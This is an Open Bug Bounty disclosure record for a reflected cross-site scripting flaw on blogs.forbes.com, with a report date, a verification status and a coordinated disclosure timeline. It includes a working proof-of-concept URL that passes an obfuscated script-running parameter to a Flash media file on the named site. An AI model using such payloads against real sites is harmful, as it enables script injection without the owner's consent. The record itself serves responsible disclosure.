blogs.forbes.com XSS vulnerability

2016-05-12T02:51:00
ID OBB:152094
Type openbugbounty
Reporter Spam404
Modified 2016-08-04T11:12:00

Description

Vulnerable URL:
http://blogs.forbes.com/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alert`OPENBUGBOUNTY`
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 30.07.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| Unknown / Not calculated
VIP website status:| No
Check blogs.forbes.com SSL connection:| (Grade: F)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 12 May, 2016 02:51 GMT
Vulnerability existence verified and confirmed| 12 May, 2016 10:18 GMT
Notification sent to subscribers (without technical details)| 12 May, 2016 14:17 GMT
Vulnerability details disclosed by researcher| 4 August, 2016 11:12 GMT